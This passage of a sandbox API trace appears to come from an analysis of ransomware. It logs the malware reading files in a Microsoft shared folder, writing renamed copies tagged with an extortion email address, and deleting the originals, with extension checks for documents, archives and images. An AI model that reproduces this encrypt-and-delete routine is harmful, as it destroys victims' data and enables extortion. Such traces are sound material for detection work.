shared\\clicktorun\\ucrtbase.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0087.178] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.179] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0087.179] GetLastError () returned 0x0 [0087.179] ReadFile (in: hFile=0x398, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0xefec0, lpOverlapped=0x0) returned 1 [0087.543] WriteFile (in: hFile=0x2f4, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xefed0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xefed0, lpOverlapped=0x0) returned 1 [0087.688] ReadFile (in: hFile=0x398, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.688] WriteFile (in: hFile=0x2f4, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.688] SetEndOfFile (hFile=0x2f4) returned 1 [0087.688] CloseHandle (hObject=0x2f4) returned 1 [0087.688] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.688] SetEndOfFile (hFile=0x398) returned 1 [0087.697] CloseHandle (hObject=0x398) returned 1 [0087.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0087.698] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 1 [0087.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0087.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0087.698] lstrlenW (lpString=".doc") returned 4 [0087.698] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".docx") returned 5 [0087.698] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0087.698] lstrlenW (lpString=".pdf") returned 4 [0087.698] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".xls") returned 4 [0087.698] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".xlsx") returned 5 [0087.698] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0087.698] lstrlenW (lpString=".ppt") returned 4 [0087.698] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0087.698] lstrlenW (lpString=".zip") returned 4 [0087.698] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".rar") returned 4 [0087.698] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".bz2") returned 4 [0087.698] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.698] lstrlenW (lpString=".7z") returned 3 [0087.699] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0087.699] lstrlenW (lpString=".dbf") returned 4 [0087.699] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0087.699] lstrlenW (lpString=".1cd") returned 4 [0087.699] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0087.699] lstrlenW (lpString=".jpg") returned 4 [0087.699] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0087.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0087.699] lstrlenW (lpString=".doc") returned 4 [0087.699] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.699] lstrlenW (lpString=".docx") returned 5 [0087.699] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0087.699] lstrlenW (lpString=".pdf") returned 4 [0087.699] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.699] lstrlenW (lpString=".xls") returned 4 [0087.699] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.699] lstrlenW (lpString=".xlsx") returned 5 [0087.699] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0087.699] lstrlenW (lpString=".ppt") returned 4 [0087.699] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0087.699] lstrlenW (lpString=".zip") returned 4 [0087.699] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.699] lstrlenW (lpString=".rar") returned 4 [0087.699] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.699] lstrlenW (lpString=".bz2") returned 4 [0087.699] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.699] lstrlenW (lpString=".7z") returned 3 [0087.699] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0087.699] lstrlenW (lpString=".dbf") returned 4 [0087.700] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0087.700] lstrlenW (lpString=".1cd") returned 4 [0087.700] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0087.700] lstrlenW (lpString=".jpg") returned 4 [0087.700] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.700] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0087.700] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0087.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0087.700] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=10752) returned 1 [0087.700] CloseHandle (hObject=0x398) returned 1 [0087.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0087.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0087.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0087.795] lstrlenW (lpString=".doc") returned 4 [0087.795] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.795] lstrlenW (lpString=".docx") returned 5 [0087.795] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.796] lstrlenW (lpString=".pdf") returned 4 [0087.796] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.796] lstrlenW (lpString=".xls") returned 4 [0087.796] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.796] lstrlenW (lpString=".xlsx") returned 5 [0087.796] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.796] lstrlenW (lpString=".ppt") returned 4 [0087.796] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0087.796] lstrlenW (lpString=".zip") returned 4 [0087.796] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.796] lstrlenW (lpString=".rar") returned 4 [0087.796] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.796] lstrlenW (lpString=".bz2") returned 4 [0087.796] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.796] lstrlenW (lpString=".7z") returned 3 [0087.796] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0087.796] lstrlenW (lpString=".dbf") returned 4 [0087.796] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0087.796] lstrlenW (lpString=".1cd") returned 4 [0087.796] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0087.796] lstrlenW (lpString=".jpg") returned 4 [0087.796] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0087.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0087.796] lstrlenW (lpString=".doc") returned 4 [0087.796] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.796] lstrlenW (lpString=".docx") returned 5 [0087.796] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.796] lstrlenW (lpString=".pdf") returned 4 [0087.797] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.797] lstrlenW (lpString=".xls") returned 4 [0087.797] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.797] lstrlenW (lpString=".xlsx") returned 5 [0087.797] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.797] lstrlenW (lpString=".ppt") returned 4 [0087.797] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0087.797] lstrlenW (lpString=".zip") returned 4 [0087.797] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.797] lstrlenW (lpString=".rar") returned 4 [0087.797] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.797] lstrlenW (lpString=".bz2") returned 4 [0087.797] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.797] lstrlenW (lpString=".7z") returned 3 [0087.797] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0087.797] lstrlenW (lpString=".dbf") returned 4 [0087.797] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0087.797] lstrlenW (lpString=".1cd") returned 4 [0087.797] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0087.797] lstrlenW (lpString=".jpg") returned 4 [0087.797] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.797] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0087.797] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0087.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0087.798] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=10240) returned 1 [0087.798] CloseHandle (hObject=0x2f4) returned 1 [0087.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0087.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0087.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0087.799] lstrlenW (lpString=".doc") returned 4 [0087.799] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.799] lstrlenW (lpString=".docx") returned 5 [0087.799] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.799] lstrlenW (lpString=".pdf") returned 4 [0087.799] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.799] lstrlenW (lpString=".xls") returned 4 [0087.799] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.799] lstrlenW (lpString=".xlsx") returned 5 [0087.799] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.799] lstrlenW (lpString=".ppt") returned 4 [0087.799] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0087.799] lstrlenW (lpString=".zip") returned 4 [0087.799] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.799] lstrlenW (lpString=".rar") returned 4 [0087.799] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.799] lstrlenW (lpString=".bz2") returned 4 [0087.799] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.799] lstrlenW (lpString=".7z") returned 3 [0087.799] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0087.799] lstrlenW (lpString=".dbf") returned 4 [0087.799] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0087.799] lstrlenW (lpString=".1cd") returned 4 [0087.799] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0087.799] lstrlenW (lpString=".jpg") returned 4 [0087.799] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0087.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0087.799] lstrlenW (lpString=".doc") returned 4 [0087.799] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.799] lstrlenW (lpString=".docx") returned 5 [0087.800] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.800] lstrlenW (lpString=".pdf") returned 4 [0087.800] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.800] lstrlenW (lpString=".xls") returned 4 [0087.800] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.800] lstrlenW (lpString=".xlsx") returned 5 [0087.800] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.800] lstrlenW (lpString=".ppt") returned 4 [0087.800] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0087.800] lstrlenW (lpString=".zip") returned 4 [0087.800] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.800] lstrlenW (lpString=".rar") returned 4 [0087.800] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.800] lstrlenW (lpString=".bz2") returned 4 [0087.800] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.800] lstrlenW (lpString=".7z") returned 3 [0087.800] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0087.800] lstrlenW (lpString=".dbf") returned 4 [0087.800] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0087.800] lstrlenW (lpString=".1cd") returned 4 [0087.800] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0087.800] lstrlenW (lpString=".jpg") returned 4 [0087.800] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.800] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0087.800] lstrlenW (lpString="ShapeCollector.exe") returned 18 [0087.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0087.801] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=733696) returned 1 [0087.801] CloseHandle (hObject=0x2f4) returned 1 [0087.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0087.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0087.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0087.802] lstrlenW (lpString=".doc") returned 4 [0087.802] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0087.802] lstrlenW (lpString=".docx") returned 5 [0087.802] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0087.802] lstrlenW (lpString=".pdf") returned 4 [0087.802] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0087.802] lstrlenW (lpString=".xls") returned 4 [0087.802] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0087.802] lstrlenW (lpString=".xlsx") returned 5 [0087.802] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0087.802] lstrlenW (lpString=".ppt") returned 4 [0087.802] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0087.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0087.802] lstrlenW (lpString=".zip") returned 4 [0087.802] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0087.802] lstrlenW (lpString=".rar") returned 4 [0087.803] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0087.803] lstrlenW (lpString=".bz2") returned 4 [0087.803] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0087.803] lstrlenW (lpString=".7z") returned 3 [0087.803] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0087.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0087.803] lstrlenW (lpString=".dbf") returned 4 [0087.803] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0087.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0087.803] lstrlenW (lpString=".1cd") returned 4 [0087.803] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0087.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0087.803] lstrlenW (lpString=".jpg") returned 4 [0087.803] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0087.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0087.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0087.803] lstrlenW (lpString=".doc") returned 4 [0087.803] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0087.803] lstrlenW (lpString=".docx") returned 5 [0087.803] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0087.803] lstrlenW (lpString=".pdf") returned 4 [0087.803] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0087.803] lstrlenW (lpString=".xls") returned 4 [0087.803] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0087.803] lstrlenW (lpString=".xlsx") returned 5 [0087.803] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0087.803] lstrlenW (lpString=".ppt") returned 4 [0087.803] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0087.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0087.803] lstrlenW (lpString=".zip") returned 4 [0087.803] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0087.803] lstrlenW (lpString=".rar") returned 4 [0087.803] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0087.803] lstrlenW (lpString=".bz2") returned 4 [0087.803] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0087.803] lstrlenW (lpString=".7z") returned 3 [0087.804] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0087.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0087.804] lstrlenW (lpString=".dbf") returned 4 [0087.804] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0087.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0087.804] lstrlenW (lpString=".1cd") returned 4 [0087.804] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0087.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0087.804] lstrlenW (lpString=".jpg") returned 4 [0087.804] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0087.804] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0087.804] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0087.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0087.805] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=10752) returned 1 [0087.805] CloseHandle (hObject=0x2f4) returned 1 [0087.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0087.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: 